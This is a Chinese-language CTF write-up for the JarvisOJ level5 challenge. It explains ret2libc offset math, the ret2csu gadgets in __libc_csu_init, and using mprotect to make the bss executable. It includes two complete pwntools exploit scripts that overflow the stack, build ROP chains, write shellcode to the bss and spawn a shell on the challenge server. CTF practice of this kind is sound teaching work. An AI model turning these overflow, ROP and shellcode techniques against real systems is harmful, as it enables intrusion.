PWN|level5 jarvisoj

64位参数传递约定:前六个参数按顺序存储在寄存器 rdi, rsi, rdx, rcx, r8, r9 中。参数超过六个时,从第七个开始压入栈中

jnz :z 是 zero 的意思,所以这命令是说如果不为零则跳转,或者说是如果不相等则跳转

这个 ret2libc 用这个式子想想,不要记错了
mprotect_real = (mprtotect_lib - read_lib ) + read_real
mprotect_real - mprtotect_lib = read_real - read_lib

没有用 mmap 函数,我用的是 mprotect
mprotect 函数是干啥的
int mprotect(void* addr, size_t len, int port)
mprotect函数可以改变一块内存区域的权限(以页为单位)。mprotect函数是可以改变一个段的权限的,可以利用这一特点将bss段改为可执行,将shellcode写到bss段,再想办法执行即可。
首先,要使用mprotect函数,依然需要知道它在内存中的地址,通过level3的方法可以得到。
需要调用这个mprotect函数,我们发现它有三个参数,第一个是要设置的地址(edi),第二个是设置的长度(esi),第三个是权限值(edx),但是我们在level3中发现简单的gadgets并没有pop edx,这时候,我们可以利用x64下的__libc_scu_init中的gadgets。这个函数是用来对libc进行初始化操作的,而一般的程序都会调用libc函数,所以这个函数一定会存在。我们先来看一下这个函数(当然,不同版本的这个函数有一定的区别)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
.text:0000000000400650 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:0000000000400650 push r15
.text:0000000000400652 mov r15d, edi
.text:0000000000400655 push r14
.text:0000000000400657 mov r14, rsi
.text:000000000040065A push r13
.text:000000000040065C mov r13, rdx
.text:000000000040065F push r12
.text:0000000000400661 lea r12, __frame_dummy_init_array_entry
.text:0000000000400668 push rbp
.text:0000000000400669 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 push rbx
.text:0000000000400671 sub rbp, r12
.text:0000000000400674 xor ebx, ebx
.text:0000000000400676 sar rbp, 3
.text:000000000040067A sub rsp, 8
.text:000000000040067E call _init_proc
.text:0000000000400683 test rbp, rbp
.text:0000000000400686 jz short loc_4006A6
.text:0000000000400688 nop dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init+36j
.text:00000000004006A6 add rsp, 8
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
.text:00000000004006B4 __libc_csu_init endp

在loc_4006A6这个函数下面,有6个pop。在loc_400690函数下面刚好前三个寄存器的赋值语句,以及一个call函数调用,简直完美有没有。所以我们只需要先调用loc_4006A6将r13,r14,r15设置为mprotect函数的三个参数值,将r12设置为mprotect的地址,rbx置0,再调用loc_400690的时候,自然就执行mprotect函数了。(为了跳出这个循环,还需将rbp设置为1)
在这里是通过call调用函数,所以我们还需要将需要调用的函数地址写道got table中。这个通过read函数就可以了。

sendline 结尾有换行符,所以传输容易出错,将 \n (也就是 \x0a) 写入变量。开始我一直没找到这个问题,后面经过 publicQi 师傅点拨,在有连续的 sendline 的地方,将后一个改为了 send。至此 exp 执行成功 public

public2

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *
import time

context.terminal=["tmux","sp","-h"]
context.log_level='debug'

DEBUG = 0
LOCAL = True
BIN = './level3_x64'
HOST = 'pwn2.jarvisoj.com'
PORT = 9884

def exploit(sh):
##############################################
#get mprotect_addr
rdi = 0x4006b3 # pop rdi ; ret
rsi_r15 = 0x4006b1 # pop rsi ; pop r15 ; ret
libc = ELF('libc-2.19.so')
write_lib = libc.symbols['write']
mprtotect_lib = libc.symbols['mprotect']
write_plt = elf.symbols['write']
read_plt = elf.symbols['read']
write_got = elf.got['write']
vul_addr = elf.symbols['vulnerable_function']
padding = 'a'*136
payload1 = padding + p64(rdi) + p64(1) + p64(rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(0x4004F0)
sh.recvuntil('Input:\n')
sh.send(payload1)
write_addr = u64(sh.recv(8))
mprotect_real = (mprtotect_lib - write_lib ) + write_addr
log.success("mprotect_real==>" + hex(mprotect_real))
#############################################
#write the shellcode to bss
bss_addr = elf.bss()
shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
#shellcode = '\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
payload2 = padding + p64(rdi) + p64(0) + p64(rsi_r15) + p64(bss_addr) + p64(0) + p64(read_plt) + p64(0x4004F0)
sh.recvuntil('Input:\n')
sh.sendline(payload2)
time.sleep(0.2)
sh.send(shellcode)
log.success("write the shellcode to bss")
#############################################
#write the bss to got_table
bss_got = 0x600a48
payload3 = padding + p64(rdi) + p64(0) + p64(rsi_r15) + p64(bss_got) + p64(0) + p64(read_plt) + p64(0x4004F0)
sh.recvuntil('Input:\n')
sh.sendline(payload3)
time.sleep(0.2)
sh.send(p64(bss_addr))
log.success("write the bss to got_table")
#pause()
#############################################
#write the mprotect to got_table
mprotect_got = 0x600a50
#ayload_5 = padding + p64(rdi) + p64(0) + p64(rsi_r15) + p64(mprotect_got) + p64(0) + p64(read_plt) + p64(vul_addr)
payload4 = padding + p64(rdi) + p64(0) + p64(rsi_r15) + p64(mprotect_got) + p64(0) + p64(read_plt) + p64(0x4004F0)
sh.recvuntil('Input:\n')
sh.sendline(payload4)
sh.send(p64(mprotect_real))
log.success("write the mprotect to got_table")
#pause()
#############################################
loc_4006A6 = 0x4006a6
#add rsp,8
#pop rbx
#pop rbp
#pop r12
#pop r13
#pop r14
#pop r15
#retn
loc_400690 = 0x400690
#mov rdx,r13 the 3rd parm
#mov rsi,r14 the 2nd parm
#mov edi,r15 the 1st parm
#call [r12]
#add rbx,1
#cmp rbx,rbp
#jnz short loc_400690
payload5 = padding + p64(loc_4006A6)
payload5 += 'a'*8 + p64(0) + p64(1) + p64(mprotect_got) + p64(7) + p64(0x1000) + p64(0x600000)
payload5 += p64(loc_400690)
payload5 += 'a'*8 + p64(0) + p64(1) + p64(bss_got) + p64(0) +p64(0) + p64(0)
payload5 += p64(loc_400690)
#pause()
sh.recvuntil('Input:\n')
sh.send(payload5)
time.sleep(2)
log.success("send payload5 success")
sh.interactive()
return

if __name__ == '__main__':
elf = ELF(BIN)
if len(sys.argv) > 1:
LOCAL = False
sh = remote(HOST,PORT)
exploit(sh)
else:
LOCAL = True
sh = process(BIN)
log.info('PID: ' + str(proc.pidof(sh)[0]))
# pause
if DEBUG:
gdb.attach(sh)
exploit(sh)

另外一种利用方法,没有用 _libc_csu_init ,rdx 传参数是直接在 libc 中找的 pop rdx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context.log_level='DEBUG'
r=remote('pwn2.jarvisoj.com',9884)
#r = process('./level3_x64')
file=ELF('./level3_x64')
libc=ELF('./libc-2.19.so')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

prdi=0x4006b3
prsi=0x4006b1
bss_start=0x600a88
start_addr=0x4004f0

payload1='a'*0x80+'b'*8+p64(prdi)+p64(1)+p64(prsi)+p64(file.got['write'])+'c'*8+p64(file.plt['write'])
payload1+=p64(start_addr)
r.recvuntil('\n')
r.send(payload1)
write_got=u64(r.recv(8))
sleep(1)

libc_base=write_got-libc.sym['write']
mprotect=libc_base+libc.sym['mprotect']
prdx=libc_base+0x1b92

payload2='a'*0x80+'b'*8+p64(prdi)+p64(0x600000)+p64(prsi)+p64(0x1000)+'c'*8+p64(prdx)+p64(7)+p64(mprotect)+p64(start_addr)
r.recvuntil('\n')
r.send(payload2)
sleep(1)

payload3='a'*0x80+'b'*8+p64(prdi)+p64(0)+p64(prsi)+p64(bss_start)+'c'*8+p64(prdx)+p64(48)+p64(file.plt['read'])+p64(start_addr)
r.recvuntil('\n')
r.send(payload3)
sleep(1)
r.send(asm(shellcraft.amd64.linux.sh(),arch='amd64'))

payload4='a'*0x80+'b'*8+p64(bss_start)
r.recvuntil('\n')
r.send(payload4)

r.interactive()
参考链接

https://blog.csdn.net/github_36788573/article/details/80178146
https://blog.csdn.net/weixin_41617275/article/details/84955439
https://www.cnblogs.com/luoleqi/p/12398759.html
(这个博主用的另外一种方法,省去了很多步骤)